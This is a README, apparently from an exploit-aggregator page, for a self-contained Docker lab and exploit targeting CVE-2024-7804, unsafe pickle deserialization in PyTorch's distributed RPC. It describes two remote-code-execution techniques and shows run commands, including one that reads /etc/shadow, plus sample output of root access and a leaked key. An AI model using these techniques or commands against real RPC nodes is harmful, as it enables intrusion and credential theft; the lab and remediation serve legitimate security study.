## https://sploitus.com/exploit?id=2D93B244-8F3D-5DCB-9F34-6D5E97827678
# CVE-2024-7804 β PyTorch Distributed RPC Unsafe Deserialization (RCE)
Self-contained lab + exploit for **CVE-2024-7804**: remote code execution in
PyTorch's distributed RPC framework (`torch.distributed.rpc`) through unsafe
deserialization of untrusted data (**CWE-502**).
- **Affected:** `torch Note: this advisory was later **withdrawn/rejected** by the maintainers and Red
> Hat as "known functionality" β PyTorch RPC is by design a *trusted-peer* system.
> The lab is still an accurate, hands-on demonstration of the reported issue.
## The vulnerability
Every RPC call ships a `PythonUDF` namedtuple (`func`, `args`, `kwargs`). On the
receiving node it is rebuilt with a **bare `pickle.Unpickler`**, with no allowlist
and no integrity check:
```python
# torch/distributed/rpc/internal.py (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
...
unpickler = _unpickler(io.BytesIO(binary_data)) # _unpickler = pickle.Unpickler
ret = unpickler.load() # <-- attacker-controlled pickle
...
```
Any peer that can join the RPC "world" can therefore make the node run arbitrary
code β either via a pickle `__reduce__` gadget that fires **during** `load()`, or
simply by naming any importable callable as the UDF, since nothing restricts what
the node will execute.
## Layout
```
CVE-2024-7804/
βββ docker-compose.yml # victim + attacker on one bridge network
βββ lab/
β βββ Dockerfile # python:3.11-slim + torch 2.3.1 (CPU) β the vulnerable image
β βββ server.py # victim: a trusting RPC worker that waits for peers
βββ exploit/
βββ exploit.py # attacker: joins the world and lands RCE on the victim
```
## Requirements
Docker with the Compose plugin. CPU-only (no GPU), works on amd64 and arm64.
## Run it
```bash
# 1. Start the vulnerable victim node (rank 0, waits for a peer)
docker compose up --build -d victim
# 2. Fire the exploit (default: run a command on the victim and get its stdout back)
docker compose run --rm attacker
# 3. Tear everything down
docker compose down
```
### Expected output (default technique)
```
[attacker] ===== command output returned from victim =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- exfiltrated secret ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== end output =====
```
The attacker executed commands **as root on the victim** and exfiltrated a file it
was never meant to expose.
## Two techniques in the exploit
| Command | What it shows |
|---|---|
| `docker compose run --rm attacker` | Sends `subprocess.check_output` as the UDF. The victim runs the command and returns its stdout β RCE **and** exfiltration in one call. |
| `docker compose run --rm attacker python exploit.py --reduce` | Sends an object whose `__reduce__` runs `os.system` **while the victim unpickles** the payload β RCE at deserialization time (the essence of CWE-502), before the UDF is even called. |
Custom command:
```bash
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"
```
For `--reduce`, the command runs on the victim, so watch it there:
```bash
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim # the output appears in the VICTIM's log
```
The victim log for `--reduce` ends with a traceback at
`torch/distributed/rpc/internal.py`, line ~207 (`python_udf.func(...)`) β proof the
payload was already reconstructed and executed by the unsafe unpickler.
## Remediation
- Upgrade past the affected line and follow PyTorch's guidance: **only run RPC
between mutually trusted nodes on a trusted network**.
- Never expose an RPC rendezvous port (default `29500`) to untrusted networks.
- Treat any pickle-based protocol as code execution: authenticate and encrypt
peers (e.g. mTLS), and isolate RPC workers.
## Disclaimer
For education and authorized security testing only. The lab is **intentionally
vulnerable** β do not deploy it, and only run the exploit against this lab.